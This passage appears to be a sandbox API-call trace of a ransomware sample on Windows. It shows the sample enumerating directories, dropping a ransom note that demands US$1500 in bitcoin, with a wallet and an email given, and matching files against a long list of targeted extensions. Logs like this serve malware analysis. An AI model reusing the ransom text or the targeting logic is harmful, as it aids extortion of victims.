dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.389] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.389] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb00e8bd4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb00e8bd4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb00e8bd4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.390] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.390] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.390] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb00e8bd4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb00e8bd4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb00e8bd4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="fcf35536476614410e0b0bd0e412199e", cAlternateFileName="FCF355~1")) returned 1 [0112.390] lstrcmpA (lpString1=".", lpString2="fcf35536476614410e0b0bd0e412199e") returned -1 [0112.390] lstrcmpA (lpString1="..", lpString2="fcf35536476614410e0b0bd0e412199e") returned -1 [0112.390] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\*.*") returned="*.*" [0112.390] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\", lpString2="fcf35536476614410e0b0bd0e412199e" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e" [0112.390] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e") returned 100 [0112.390] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb00e8bd4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb00e8bd4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb00e8bd4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.391] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.391] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb00e8bd4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb00e8bd4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb00e8bd4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.391] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.391] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.392] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb00767b3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb00767b3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb00767b3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Configuration.Install.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.392] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.392] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Configuration.Install.ni.dll") returned -1 [0112.392] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Configuration.Install.ni.dll") returned -1 [0112.392] lstrcmpiA (lpString1="", lpString2="System.Configuration.Install.ni.dll") returned -1 [0112.392] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\*.*") returned="*.*" [0112.392] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\" [0112.392] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\") returned="" [0112.392] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\HOW TO DECRYPT FILES.txt" [0112.392] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuratio#\\fcf35536476614410e0b0bd0e412199e\\how to decrypt files.txt")) returned 0xffffffff [0112.392] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuratio#\\fcf35536476614410e0b0bd0e412199e\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.393] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.393] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.395] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.396] CloseHandle (hObject=0x90) returned 1 [0112.396] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\", lpString2="System.Configuration.Install.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll" [0112.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.ems") returned 0 [0112.396] lstrlenA (lpString="*.ems") returned 5 [0112.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.db") returned 0 [0112.397] lstrlenA (lpString="*.db") returned 4 [0112.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.dbf") returned 0 [0112.397] lstrlenA (lpString="*.dbf") returned 5 [0112.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.myox") returned 0 [0112.397] lstrlenA (lpString="*.myox") returned 6 [0112.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.myo") returned 0 [0112.397] lstrlenA (lpString="*.myo") returned 5 [0112.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.qbw") returned 0 [0112.397] lstrlenA (lpString="*.qbw") returned 5 [0112.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.qbb") returned 0 [0112.397] lstrlenA (lpString="*.qbb") returned 5 [0112.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.qbm") returned 0 [0112.397] lstrlenA (lpString="*.qbm") returned 5 [0112.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.qbo") returned 0 [0112.397] lstrlenA (lpString="*.qbo") returned 5 [0112.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.qbx") returned 0 [0112.397] lstrlenA (lpString="*.qbx") returned 5 [0112.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.qba") returned 0 [0112.397] lstrlenA (lpString="*.qba") returned 5 [0112.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.qby") returned 0 [0112.397] lstrlenA (lpString="*.qby") returned 5 [0112.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.qbj") returned 0 [0112.398] lstrlenA (lpString="*.qbj") returned 5 [0112.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.ofx") returned 0 [0112.398] lstrlenA (lpString="*.ofx") returned 5 [0112.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.qif") returned 0 [0112.398] lstrlenA (lpString="*.qif") returned 5 [0112.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.mye") returned 0 [0112.398] lstrlenA (lpString="*.mye") returned 5 [0112.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.mbox") returned 0 [0112.398] lstrlenA (lpString="*.mbox") returned 6 [0112.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.eml") returned 0 [0112.398] lstrlenA (lpString="*.eml") returned 5 [0112.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.pst") returned 0 [0112.398] lstrlenA (lpString="*.pst") returned 5 [0112.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.ost") returned 0 [0112.398] lstrlenA (lpString="*.ost") returned 5 [0112.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.idx") returned 0 [0112.398] lstrlenA (lpString="*.idx") returned 5 [0112.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.dbx") returned 0 [0112.398] lstrlenA (lpString="*.dbx") returned 5 [0112.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.sql") returned 0 [0112.398] lstrlenA (lpString="*.sql") returned 5 [0112.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.mdb") returned 0 [0112.398] lstrlenA (lpString="*.mdb") returned 5 [0112.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.fdb") returned 0 [0112.398] lstrlenA (lpString="*.fdb") returned 5 [0112.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.wab") returned 0 [0112.399] lstrlenA (lpString="*.wab") returned 5 [0112.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.dat") returned 0 [0112.399] lstrlenA (lpString="*.dat") returned 5 [0112.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.txt") returned 0 [0112.399] lstrlenA (lpString="*.txt") returned 5 [0112.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.jpeg") returned 0 [0112.399] lstrlenA (lpString="*.jpeg") returned 6 [0112.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.jpg") returned 0 [0112.399] lstrlenA (lpString="*.jpg") returned 5 [0112.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.png") returned 0 [0112.399] lstrlenA (lpString="*.png") returned 5 [0112.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.php") returned 0 [0112.399] lstrlenA (lpString="*.php") returned 5 [0112.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.cs") returned 0 [0112.399] lstrlenA (lpString="*.cs") returned 4 [0112.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.cpp") returned 0 [0112.399] lstrlenA (lpString="*.cpp") returned 5 [0112.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.rar") returned 0 [0112.399] lstrlenA (lpString="*.rar") returned 5 [0112.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.zip") returned 0 [0112.399] lstrlenA (lpString="*.zip") returned 5 [0112.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.html") returned 0 [0112.399] lstrlenA (lpString="*.html") returned 6 [0112.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.htm") returned 0 [0112.400] lstrlenA (lpString="*.htm") returned 5 [0112.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.xlsx") returned 0 [0112.400] lstrlenA (lpString="*.xlsx") returned 6 [0112.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.xls") returned 0 [0112.400] lstrlenA (lpString="*.xls") returned 5 [0112.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.mp4") returned 0 [0112.400] lstrlenA (lpString="*.mp4") returned 5 [0112.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.ppt") returned 0 [0112.400] lstrlenA (lpString="*.ppt") returned 5 [0112.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.pptx") returned 0 [0112.400] lstrlenA (lpString="*.pptx") returned 6 [0112.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.doc") returned 0 [0112.400] lstrlenA (lpString="*.doc") returned 5 [0112.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.dot") returned 0 [0112.400] lstrlenA (lpString="*.dot") returned 5 [0112.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.docx") returned 0 [0112.400] lstrlenA (lpString="*.docx") returned 6 [0112.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.7z") returned 0 [0112.400] lstrlenA (lpString="*.7z") returned 4 [0112.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.tar") returned 0 [0112.400] lstrlenA (lpString="*.tar") returned 5 [0112.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.bz2") returned 0 [0112.400] lstrlenA (lpString="*.bz2") returned 5 [0112.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.gz") returned 0 [0112.401] lstrlenA (lpString="*.gz") returned 4 [0112.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.mkv") returned 0 [0112.401] lstrlenA (lpString="*.mkv") returned 5 [0112.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.eml") returned 0 [0112.401] lstrlenA (lpString="*.eml") returned 5 [0112.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.msg") returned 0 [0112.401] lstrlenA (lpString="*.msg") returned 5 [0112.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.edb") returned 0 [0112.401] lstrlenA (lpString="*.edb") returned 5 [0112.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.accdb") returned 0 [0112.401] lstrlenA (lpString="*.accdb") returned 7 [0112.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.odb") returned 0 [0112.401] lstrlenA (lpString="*.odb") returned 5 [0112.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.java") returned 0 [0112.401] lstrlenA (lpString="*.java") returned 6 [0112.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.asm") returned 0 [0112.401] lstrlenA (lpString="*.asm") returned 5 [0112.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.pfx") returned 0 [0112.401] lstrlenA (lpString="*.pfx") returned 5 [0112.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.pem") returned 0 [0112.401] lstrlenA (lpString="*.pem") returned 5 [0112.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.p12") returned 0 [0112.401] lstrlenA (lpString="*.p12") returned 5 [0112.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.gpg") returned 0 [0112.402] lstrlenA (lpString="*.gpg") returned 5 [0112.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.vsd") returned 0 [0112.402] lstrlenA (lpString="*.vsd") returned 5 [0112.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.odg") returned 0 [0112.402] lstrlenA (lpString="*.odg") returned 5 [0112.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.raw") returned 0 [0112.402] lstrlenA (lpString="*.raw") returned 5 [0112.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.nef") returned 0 [0112.402] lstrlenA (lpString="*.nef") returned 5 [0112.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.svg") returned 0 [0112.402] lstrlenA (lpString="*.svg") returned 5 [0112.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.psd") returned 0 [0112.402] lstrlenA (lpString="*.psd") returned 5 [0112.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.vmx") returned 0 [0112.402] lstrlenA (lpString="*.vmx") returned 5 [0112.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.vmdk") returned 0 [0112.402] lstrlenA (lpString="*.vmdk") returned 6 [0112.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.vdi") returned 0 [0112.402] lstrlenA (lpString="*.vdi") returned 5 [0112.402] PathMatchSpecA 